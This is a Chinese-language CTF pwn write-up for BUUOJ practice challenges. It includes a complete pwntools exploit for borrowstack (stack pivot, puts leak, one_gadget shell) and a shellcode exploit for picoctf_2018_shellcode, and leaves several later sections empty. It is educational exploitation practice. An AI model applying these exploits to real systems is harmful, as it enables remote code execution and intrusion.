61.gyctf_2020_borrowstack
(1)分析

main

read漏洞,溢出0x10字节,无system,ret2libc
ret2libc大概需要0x20字节,不够,上面read了两次,中间接了一个puts函数,栈劫持标志

bank在bss段,我们就将栈劫持到这里执行payload
(2)payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import * from LibcSearcher import * context(os='linux',arch='amd64',log_level='debug') io=remote('node5.buuoj.cn',29601) elf=ELF('./61')
puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] pop_rdi_ret=0x400703 leave_ret=0x400699 ret=0x4004c9 bank=0x601080 main_addr=elf.sym['main'] padding=0x60
payload=b'a'*padding+p64(bank)+p64(leave_ret) io.recvuntil(b'u want') io.send(payload)
io.recvuntil(b'now!') payload1=p64(ret)*20 payload1+=p64(pop_rdi_ret)+p64(puts_got) payload1+=p64(puts_plt)+p64(main_addr)
io.sendline(payload1) io.recv() puts_addr=u64(io.recv(6).ljust(8,b'\x00')) log.success('leak_puts_real_addr => {}'.format(hex(puts_addr)))
''' libc = LibcSearcher("puts",puts_addr) libcbase = puts_addr - libc.dump('puts') system_addr = libcbase + libc.dump('system') str_bin_sh = libcbase + libc.dump('str_bin_sh')
libc=ELF('64libc-2.23.so') libcbase = puts_addr-libc.sym['puts'] system_addr=libcbase+libc.sym['system'] str_bin_sh=libcbase+next(libc.search(b"/bin/sh")) payload2=b'a'*padding+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr) ''' libc=ELF('64libc-2.23.so') libcbase = puts_addr-libc.sym['puts'] one_gadget=libcbase+0xf1147 payload2=b'a'*(0x60+8)+p64(one_gadget) io.sendline(payload2) io.interactive()
|
总结:一开始我利用0x601080去做栈迁移,没有利用成功。看了其他师傅的wp后知道了,bank的地址距离got表特别近,我们构造rop的时候增高了栈帧,破坏了got表,因此我们在做栈迁移的时候要把地址相对的抬高些,以免在其又一次运行main函数时候,申请的临时变量的空间会覆盖到了我们的got表中。

还有就是其他师傅的wp都是使用one_gadget来找libc的,好像libcsearcher和自带的libc不行,不知道为什么。

62.ciscn_2019_s_9
手写shellcode
(1)分析

main

pwn

溢出26字节
hint

(2)payload
63.picoctf_2018_shellcode
(1)分析


反汇编不了,我们看看是怎么回事

这里call了一个eax,导致出错,我们先nop掉,然后用快捷键p重新改写main函数(逆向的花指令)
main

vuln

很明显我们在a1这插入shellcode就行了
(2)payload
1 2 3 4 5 6 7
| from pwn import *
context(os='linux',arch='i386',log_level='debug') io=remote('node5.buuoj.cn',28842)
io.sendline(asm(shellcraft.sh())) io.interactive()
|
64.hitcontraining_heapcreator
(1)分析

(2)payload
65.
(1)分析
(2)payload
66.
(1)分析
(2)payload
67.
(1)分析
(2)payload
68.
(1)分析
(2)payload
69.
(1)分析
(2)payload
70.
(1)分析
(2)payload